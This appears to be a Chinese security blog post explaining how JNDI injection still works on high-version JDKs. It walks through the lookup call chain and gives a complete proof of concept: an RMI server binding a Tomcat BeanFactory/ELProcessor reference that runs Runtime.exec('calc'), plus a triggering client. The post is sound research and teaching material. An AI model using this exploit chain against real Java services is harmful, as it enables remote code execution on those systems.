JNDI高版本bypass

JNDI lookup()调用过程

InitialContext.lookup()

入口函数。

1
2
3
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
  • 作用:决定是用 URL Context(如果 name 有协议前缀)还是用默认的 Initial Context。
  • 例:"rmi://127.0.0.1:1099/evil" → 识别前缀 rmi:// → 进入 RMI 的 RegistryContext

getURLOrDefaultInitCtx()

  • 如果名字是 URL(例如 "rmi://..."),则走 NamingManager.getURLContext("rmi", env)

否则走默认的初始上下文。

NamingManager.getURLContext("rmi")

  • 找到 com.sun.jndi.url.rmi.rmiURLContextFactory,实例化 rmiURLContext

rmiURLContext.lookup("rmi://.../evil")GenericURLContext.lookup()

  • 解析 URL,拆出 "host:port""name"
  • 调用 RegistryContext.lookup("evil")

GenericURLContext.lookup()

负责 分发 URL 前缀
源码逻辑类似:

1
2
3
4
5
6
7
int prefix = name.indexOf(':');
if (prefix >= 0) {
// 有协议前缀,根据协议找到对应的 Context
String scheme = name.substring(0, prefix);
Context ctx = getURLContext(scheme);
return ctx.lookup(name);
}
  • 作用:把 "rmi://..." 转交给 RegistryContext;把 "ldap://..." 转交给 LdapCtx
  • 这是 JNDI 的多协议适配器。

RegistryContext.lookup()

进入 RMI 部分:

1
2
Remote obj = registry.lookup(objName);  // 从 RMI Registry 取对象
return decodeObject(obj);
  • 作用:连接远程 RMI Registry,调用其 lookup() 方法,取出对象引用。
  • 结果可能是:
    • 真正的远程对象 stub
    • Reference 对象(告诉 JNDI 怎么实例化目标对象)
    • 序列化数据

RegistryContext.decodeObject()

处理从 RMI 返回的对象。

1
2
3
4
5
if (obj instanceof Reference) {
return NamingManager.getObjectInstance(obj, name, this, env);
} else {
return obj; // 直接返回普通对象
}

作用:判断对象类型:

  • 如果是 普通 Java 对象 → 直接返回。
  • 如果是 Reference → 交给 NamingManager 来根据工厂类加载并实例化。

危险点:Reference 里可能带有远程 factoryClassLocation(恶意类下载)。

NamingManager.getObjectInstance()

核心的对象工厂加载逻辑:

1
2
ObjectFactory factory = loadFactory(ref.getFactoryClassName(), ref.getFactoryClassLocation());
return factory.getObjectInstance(ref, name, ctx, env);
  • 作用
    • 根据 Reference 里的 factoryClassName 找到对应的 ObjectFactory
    • 如果本地没这个类 → 尝试从远程 codebase 加载(⚠️ 新版 JDK 默认禁用)。
    • 调用 ObjectFactory.getObjectInstance() → 生成最终对象并返回给调用者。

ObjectFactory.getObjectInstance(...)

由开发者或攻击者提供的工厂类:

1
2
3
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?,?> env) {
// 开发者自己决定返回什么对象
}
  • 作用:最终创建返回给应用程序的对象。
  • 漏洞点:攻击者的 ObjectFactory 里可能有恶意静态代码块,甚至直接 RCE。

整体调用链总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
InitialContext.lookup()
└─ getURLOrDefaultInitCtx(name)
└─ NamingManager.getURLContext("rmi")
└─ rmiURLContext.lookup()
└─ GenericURLContext.lookup()
└─ RegistryContext.lookup()
└─ reg.lookup() // 从 Registry 拿对象
└─ decodeObject(obj)
├─ 普通对象 → 直接返回
└─ Reference → NamingManager.getObjectInstance()
├─ 判断 factoryClassLocation
│ ├─ 远程 → 检查 trustURLCodebase(默认 false,报错)
│ └─ 本地 → 直接加载 Class.forName()
└─ 调用 ObjectFactory.getObjectInstance() // 最终触发

高版本 JDK 的安全判断点

JDK 8u121 / 7u131 / 6u141 开始,引入了安全补丁,主要是限制 远程 Codebase 加载类。判断逻辑主要出现在 RegistryContext.decodeObjectNamingManager.getObjectInstanceReference 处理部分。

远程 Codebase 加载禁止

NamingManager.getObjectInstance 处理 Reference 时:

  • 如果 Reference 里有 factoryClassLocation(远程 URL),JNDI 会尝试下载类。

  • 新版 JDK 检查系统属性

    • com.sun.jndi.rmi.object.trustURLCodebase (默认 false
    • com.sun.jndi.ldap.object.trustURLCodebase (默认 false
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    if (factoryClass != null) {
    Class<?> cls;

    if (factoryCodebase != null && !isTrustURLCodebaseAllowed(nameCtx, env)) {
    // 🚨 高版本新增的“远程 codebase 不可信”报错
    throw new ConfigurationException(
    "The object factory is untrusted. " +
    "Set the system property 'com.sun.jndi.<proto>.object.trustURLCodebase' to 'true'."
    );
    }

    if (factoryCodebase != null) {
    // ✅ 只有在 trustURLCodebase==true 时才会走到这里的远程加载
    ClassLoader urlCl = new URLClassLoader(new URL[]{ new URL(factoryCodebase) });
    cls = Class.forName(factoryClass, true, urlCl);
    } else {
    // ✅ 本地类路径里直接找(高版本仍然允许的“绕过点”)
    ClassLoader cl = Thread.currentThread().getContextClassLoader();
    if (cl == null) cl = NamingManager.class.getClassLoader();
    cls = Class.forName(factoryClass, true, cl);
    }

    factory = (ObjectFactory) cls.getDeclaredConstructor().newInstance();
    }

    绕过

    1
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");

本地类仍然允许

如果 Reference 里的 factoryClassName 在本地 CLASSPATH 已存在:

  • 不需要远程下载,直接 Class.forName(factoryClassName) 成功。
  • JNDI 仍会实例化这个工厂并执行 getObjectInstance()

高版本绕过点”:
虽然禁止了远程下载,但 如果攻击者能利用本地现有类(反序列化 Gadget),仍能构造恶意链。

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.8</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>9.0.8</version>
</dependency>
</dependencies>

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class RMIService {
public static void main(String[] args) throws Exception{

Registry registry = LocateRegistry.createRegistry(1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true,
"org.apache.naming.factory.BeanFactory", (String)null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
// 指定x属性指定其setter方法需要的参数,实际是ElProcessor.eval方法执行的参数,利用表达式执行命令
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Tomcat8bypass", referenceWrapper);
}
}

客户端

1
2
3
4
5
6
public class client {
public static void main(String[] args) throws NamingException {
new InitialContext().lookup("rmi://127.0.0.1:1099/Tomcat8bypass");

}
}

JNDI高版本bypass
http://xiaowu5.cn/2025/12/04/JNDI高版本bypass/
作者
5
发布于
2025年12月4日
许可协议
BY XIAOWU